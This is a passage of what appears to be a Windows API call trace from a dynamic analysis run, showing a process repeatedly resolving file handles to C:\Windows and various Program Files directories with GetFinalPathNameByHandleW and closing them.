Files\\Common Files") returned 0x21 [0169.347] CloseHandle (hObject=0x118) returned 1 [0169.347] GetFileType (hFile=0x114) returned 0x1 [0169.347] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.347] CloseHandle (hObject=0x114) returned 1 [0169.347] GetFileType (hFile=0x118) returned 0x1 [0169.348] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0169.348] CloseHandle (hObject=0x118) returned 1 [0169.348] GetFileType (hFile=0x114) returned 0x1 [0169.348] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.349] CloseHandle (hObject=0x114) returned 1 [0169.349] GetFileType (hFile=0x118) returned 0x1 [0169.349] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0169.349] CloseHandle (hObject=0x118) returned 1 [0169.349] GetFileType (hFile=0x114) returned 0x1 [0169.349] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.350] CloseHandle (hObject=0x114) returned 1 [0169.350] GetFileType (hFile=0x118) returned 0x1 [0169.350] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0169.350] CloseHandle (hObject=0x118) returned 1 [0169.351] GetFileType (hFile=0x114) returned 0x1 [0169.351] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.351] CloseHandle (hObject=0x114) returned 1 [0169.351] GetFileType (hFile=0x118) returned 0x1 [0169.351] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0169.352] CloseHandle (hObject=0x118) returned 1 [0169.352] GetFileType (hFile=0x114) returned 0x1 [0169.352] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.352] CloseHandle (hObject=0x114) returned 1 [0169.352] GetFileType (hFile=0x118) returned 0x1 [0169.352] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0169.353] CloseHandle (hObject=0x118) returned 1 [0169.353] GetFileType (hFile=0x114) returned 0x1 [0169.353] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.354] CloseHandle (hObject=0x114) returned 1 [0169.354] GetFileType (hFile=0x118) returned 0x1 [0169.354] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0169.354] CloseHandle (hObject=0x118) returned 1 [0169.354] GetFileType (hFile=0x114) returned 0x1 [0169.354] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.357] CloseHandle (hObject=0x114) returned 1 [0169.357] GetFileType (hFile=0x118) returned 0x1 [0169.357] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0169.358] CloseHandle (hObject=0x118) returned 1 [0169.358] GetFileType (hFile=0x114) returned 0x1 [0169.358] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.359] CloseHandle (hObject=0x114) returned 1 [0169.359] GetFileType (hFile=0x118) returned 0x1 [0169.360] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0169.360] CloseHandle (hObject=0x118) returned 1 [0169.360] GetFileType (hFile=0x114) returned 0x1 [0169.360] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.361] CloseHandle (hObject=0x114) returned 1 [0169.361] GetFileType (hFile=0x118) returned 0x1 [0169.361] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0169.362] CloseHandle (hObject=0x118) returned 1 [0169.362] GetFileType (hFile=0x114) returned 0x1 [0169.362] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.363] CloseHandle (hObject=0x114) returned 1 [0169.363] GetFileType (hFile=0x118) returned 0x1 [0169.363] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0169.364] CloseHandle (hObject=0x118) returned 1 [0169.364] GetFileType (hFile=0x114) returned 0x1 [0169.364] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.365] CloseHandle (hObject=0x114) returned 1 [0169.365] GetFileType (hFile=0x118) returned 0x1 [0169.365] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0169.366] CloseHandle (hObject=0x118) returned 1 [0169.366] GetFileType (hFile=0x114) returned 0x1 [0169.366] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.367] CloseHandle (hObject=0x114) returned 1 [0169.367] GetFileType (hFile=0x118) returned 0x1 [0169.367] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0169.367] CloseHandle (hObject=0x118) returned 1 [0169.368] GetFileType (hFile=0x114) returned 0x1 [0169.368] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.368] CloseHandle (hObject=0x114) returned 1 [0169.368] GetFileType (hFile=0x118) returned 0x1 [0169.368] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0169.369] CloseHandle (hObject=0x118) returned 1 [0169.369] GetFileType (hFile=0x114) returned 0x1 [0169.369] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.370] CloseHandle (hObject=0x114) returned 1 [0169.370] GetFileType (hFile=0x118) returned 0x1 [0169.370] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0169.383] CloseHandle (hObject=0x118) returned 1 [0169.383] GetFileType (hFile=0x114) returned 0x1 [0169.383] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.384] CloseHandle (hObject=0x114) returned 1 [0169.384] GetFileType (hFile=0x118) returned 0x1 [0169.384] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0169.385] CloseHandle (hObject=0x118) returned 1 [0169.385] GetFileType (hFile=0x114) returned 0x1 [0169.385] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.385] CloseHandle (hObject=0x114) returned 1 [0169.385] GetFileType (hFile=0x118) returned 0x1 [0169.385] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0169.386] CloseHandle (hObject=0x118) returned 1 [0169.386] GetFileType (hFile=0x114) returned 0x1 [0169.386] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.387] CloseHandle (hObject=0x114) returned 1 [0169.387] GetFileType (hFile=0x118) returned 0x1 [0169.387] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0169.387] CloseHandle (hObject=0x118) returned 1 [0169.388] GetFileType (hFile=0x114) returned 0x1 [0169.388] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.388] CloseHandle (hObject=0x114) returned 1 [0169.388] GetFileType (hFile=0x118) returned 0x1 [0169.388] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0169.389] CloseHandle (hObject=0x118) returned 1 [0169.389] GetFileType (hFile=0x114) returned 0x1 [0169.389] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.390] CloseHandle (hObject=0x114) returned 1 [0169.390] GetFileType (hFile=0x118) returned 0x1 [0169.390] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0169.391] CloseHandle (hObject=0x118) returned 1 [0169.391] GetFileType (hFile=0x114) returned 0x1 [0169.391] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.391] CloseHandle (hObject=0x114) returned 1 [0169.391] GetFileType (hFile=0x118) returned 0x1 [0169.391] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0169.392] CloseHandle (hObject=0x118) returned 1 [0169.392] GetFileType (hFile=0x114) returned 0x1 [0169.392] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.393] CloseHandle (hObject=0x114) returned 1 [0169.393] GetFileType (hFile=0x118) returned 0x1 [0169.393] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0169.394] CloseHandle (hObject=0x118) returned 1 [0169.394] GetFileType (hFile=0x114) returned 0x1 [0169.394] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.395] CloseHandle (hObject=0x114) returned 1 [0169.395] GetFileType (hFile=0x118) returned 0x1 [0169.395] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0169.396] CloseHandle (hObject=0x118) returned 1 [0169.396] GetFileType (hFile=0x114) returned 0x1 [0169.396] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.396] CloseHandle (hObject=0x114) returned 1 [0169.396] GetFileType (hFile=0x118) returned 0x1 [0169.396] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0169.397] CloseHandle (hObject=0x118) returned 1 [0169.397] GetFileType (hFile=0x114) returned 0x1 [0169.397] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.398] CloseHandle (hObject=0x114) returned 1 [0169.398] GetFileType (hFile=0x118) returned 0x1 [0169.398] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0169.398] CloseHandle (hObject=0x118) returned 1 [0169.398] GetFileType (hFile=0x114) returned 0x1 [0169.398] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.399] CloseHandle (hObject=0x114) returned 1 [0169.399] GetFileType (hFile=0x118) returned 0x1 [0169.399] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0169.400] CloseHandle (hObject=0x118) returned 1 [0169.400] GetFileType (hFile=0x114) returned 0x1 [0169.400] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.400] CloseHandle (hObject=0x114) returned 1 [0169.400] GetFileType (hFile=0x118) returned 0x1 [0169.400] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0169.401] CloseHandle (hObject=0x118) returned 1 [0169.401] GetFileType (hFile=0x114) returned 0x1 [0169.401] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.402] CloseHandle (hObject=0x114) returned 1 [0169.402] GetFileType (hFile=0x118) returned 0x1 [0169.402] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0169.402] CloseHandle (hObject=0x118) returned 1 [0169.402] GetFileType (hFile=0x114) returned 0x1 [0169.402] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.403] CloseHandle (hObject=0x114) returned 1 [0169.403] GetFileType (hFile=0x118) returned 0x1 [0169.403] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Mail") returned 0x21 [0169.404] CloseHandle (hObject=0x118) returned 1 [0169.404] GetFileType (hFile=0x114) returned 0x1 [0169.404] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.404] CloseHandle (hObject=0x114) returned 1 [0169.404] GetFileType (hFile=0x118) returned 0x1 [0169.404] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0169.405] CloseHandle (hObject=0x118) returned 1 [0169.405] GetFileType (hFile=0x114) returned 0x1 [0169.405] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.406] CloseHandle (hObject=0x114) returned 1 [0169.406] GetFileType (hFile=0x118) returned 0x1 [0169.406] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0169.406] CloseHandle (hObject=0x118) returned 1 [0169.406] GetFileType (hFile=0x114) returned 0x1 [0169.406] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.407] CloseHandle (hObject=0x114) returned 1 [0169.407] GetFileType (hFile=0x118) returned 0x1 [0169.407] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0169.408] CloseHandle (hObject=0x118) returned 1 [0169.408] GetFileType (hFile=0x114) returned 0x1 [0169.408] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.409] CloseHandle (hObject=0x114) returned 1 [0169.409] GetFileType (hFile=0x118) returned 0x1 [0169.409] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0169.409] CloseHandle (hObject=0x118) returned 1 [0169.409] GetFileType (hFile=0x114) returned 0x1 [0169.409] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.410] CloseHandle (hObject=0x114) returned 1 [0169.410] GetFileType (hFile=0x118) returned 0x1 [0169.410] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0169.411] CloseHandle (hObject=0x118) returned 1 [0169.411] GetFileType (hFile=0x114) returned 0x1 [0169.411] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.411] CloseHandle (hObject=0x114) returned 1 [0169.411] GetFileType (hFile=0x118) returned 0x1 [0169.411] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0169.412] CloseHandle (hObject=0x118) returned 1 [0169.412] GetFileType (hFile=0x114) returned 0x1 [0169.412] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.413] CloseHandle (hObject=0x114) returned 1 [0169.413] GetFileType (hFile=0x118) returned 0x1 [0169.413] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0169.413] CloseHandle (hObject=0x118) returned 1 [0169.413] GetFileType (hFile=0x114) returned 0x1 [0169.414] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.414] CloseHandle (hObject=0x114) returned 1 [0169.414] GetFileType (hFile=0x118) returned 0x1 [0169.414] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0169.415] CloseHandle (hObject=0x118) returned 1 [0169.415] GetFileType (hFile=0x114) returned 0x1 [0169.415] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.415] CloseHandle (hObject=0x114) returned 1 [0169.416] GetFileType (hFile=0x118) returned 0x1 [0169.416] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0169.416] CloseHandle (hObject=0x118) returned 1 [0169.416] GetFileType (hFile=0x114) returned 0x1 [0169.416] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.417] CloseHandle (hObject=0x114) returned 1 [0169.417] GetFileType (hFile=0x118) returned 0x1 [0169.417] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0169.418] CloseHandle (hObject=0x118) returned 1 [0169.418] GetFileType (hFile=0x114) returned 0x1 [0169.418] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.418] CloseHandle (hObject=0x114) returned 1 [0169.418] GetFileType (hFile=0x118) returned 0x1 [0169.418] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0169.419] CloseHandle (hObject=0x118) returned 1 [0169.419] GetFileType (hFile=0x114) returned 0x1 [0169.419] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.420] CloseHandle (hObject=0x114) returned 1 [0169.420] GetFileType (hFile=0x118) returned 0x1 [0169.420] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0169.420] CloseHandle (hObject=0x118) returned 1 [0169.421] GetFileType (hFile=0x114) returned 0x1 [0169.421] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.421] CloseHandle (hObject=0x114) returned 1 [0169.421] GetFileType (hFile=0x118) returned 0x1 [0169.422] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0169.422] CloseHandle (hObject=0x118) returned 1 [0169.422] GetFileType (hFile=0x114) returned 0x1 [0169.422] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.423] CloseHandle (hObject=0x114) returned 1 [0169.423] GetFileType (hFile=0x118) returned 0x1 [0169.423] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0169.424] CloseHandle (hObject=0x118) returned 1 [0169.424] GetFileType (hFile=0x114) returned 0x1 [0169.424] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.425] CloseHandle (hObject=0x114) returned 1 [0169.425] GetFileType (hFile=0x118) returned 0x1 [0169.425] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0169.426] CloseHandle (hObject=0x118) returned 1 [0169.426] GetFileType (hFile=0x114) returned 0x1 [0169.426] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.427] CloseHandle (hObject=0x114) returned 1 [0169.427] GetFileType (hFile=0x118) returned 0x1 [0169.427] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0169.427] CloseHandle (hObject=0x118) returned 1 [0169.427] GetFileType (hFile=0x114) returned 0x1 [0169.427] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.428] CloseHandle (hObject=0x114) returned 1 [0169.428] GetFileType (hFile=0x118) returned 0x1 [0169.428] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0169.429] CloseHandle (hObject=0x118) returned 1 [0169.429] GetFileType (hFile=0x114) returned 0x1 [0169.429] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.429] CloseHandle (hObject=0x114) returned 1 [0169.429] GetFileType (hFile=0x118) returned 0x1 [0169.430] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0169.430] CloseHandle (hObject=0x118) returned 1 [0169.430] GetFileType (hFile=0x114) returned 0x1 [0169.430] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x4dfe830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0169.431] CloseHandle (hObject=0x114) returned 1 [0169.431] GetFileType (hFile=0x118) returned 0x1 [0169.431] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x4dfe830, 